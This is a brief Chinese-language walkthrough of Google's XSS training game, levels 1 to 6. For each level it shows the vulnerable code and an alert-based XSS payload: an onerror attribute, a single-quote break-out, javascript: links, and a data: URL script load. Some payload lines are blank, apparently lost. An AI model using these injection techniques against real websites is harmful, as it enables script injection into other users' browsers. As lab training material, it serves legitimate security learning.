https://xss-game.appspot.com/level1
payload:
漏洞产生处:
message = "Sorry, no results were found for " + query + "."
payload:
漏洞产生处:
html += "" + posts[i].message + "
blockquote 标签之间的所有文本都会从常规文本中分离出来,块引用拥有它们自己的空间。
执行不了那就换个标签。
payload:
'onerror=alert(1);>
漏洞产生处:
var html = "Image " + parseInt(num) + "
";
html += "
";
利用单引号闭合绕过。
payload:
3'*alert(1));//
漏洞产生处:
很明确,用单引号闭合,然后再乘 alert(1) ,那么这样的话它会先执行 alert(1),然后再把返回值执行 startTimer。
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
payload:
signup?next=javascript:alert() //之后点击 next 链接
或者
confirm?next=javascript:alert()

漏洞产生处:
在 level.py 处可以看到传了一个 next 参数到 signup.html 处。

这边可以用 javascript: 伪协议执行 js 语句

当然直接 confirm?next=javascript:alert() 也是可以的。

这边也可以用 javascript: 伪协议执行 js 语句。

payload:
https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('XSS')
漏洞产生处:
在 index.html 中可以看出 url 格式的要求
https 开头# 后面的 url

onload 会加载 js 文件并执行,那么我们可不可以利用 data 伪协议直接加载 js 代码,答案是可以的。
